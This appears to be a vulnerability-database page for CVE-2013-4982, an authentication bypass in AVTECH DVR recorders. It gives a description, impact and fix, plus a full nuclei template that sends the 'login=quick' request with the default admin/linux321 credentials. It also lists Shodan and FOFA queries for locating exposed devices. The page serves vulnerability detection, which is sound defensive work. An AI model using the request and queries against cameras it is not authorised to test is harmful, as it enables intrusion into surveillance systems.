HexBrain

Browse / CVEs / CVE-2013-4982

CVE-2013-4982· CWE-287

AVTECH DVR - Login Verification Code Bypass

lowseverity
5CVSS score
13.1%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

AVTECH DVR products are vulnerable to verification code bypass just by entering the "login=quick" parameter to bypass verification code.

Impact

Attackers can bypass authentication mechanisms and gain unauthorized access to the DVR system, potentially viewing camera feeds, modifying settings, or compromising the device.

Fix

Update to the latest firmware version or contact the vendor for a security patch.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/nobody/VerifyCode.cgi?account={{base64(username + ':' + password)}}&login=quick
Positive when: matches /^0.* OK.*/ AND status_code == 200 and len(body) == 5

Run it with nuclei: nuclei -id CVE-2013-4982 -u <target>

The full check
id: CVE-2013-4982

info:
  name: AVTECH DVR - Login Verification Code Bypass
  author: ritikchaddha
  severity: low
  description: |
    AVTECH DVR products are vulnerable to verification code bypass just by entering the "login=quick" parameter to bypass verification code.
  impact: |
    Attackers can bypass authentication mechanisms and gain unauthorized access to the DVR system, potentially viewing camera feeds, modifying settings, or compromising the device.
  remediation: |
    Update to the latest firmware version or contact the vendor for a security patch.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-4982
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5.0
    cve-id: CVE-2013-4982
    epss-score: 0.13117
    epss-percentile: 0.96388
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"login" product:"Avtech"
    fofa-query: app="AVTECH-视频监控"
  tags: cve,cve2013,avtech,verify,bypass,iot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/nobody/VerifyCode.cgi?account={{base64(username + ':' + password)}}&login=quick"

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - linux321

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "^0.*\nOK.*"

      - type: dsl
        dsl:
          - status_code == 200
          - len(body) == 5
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from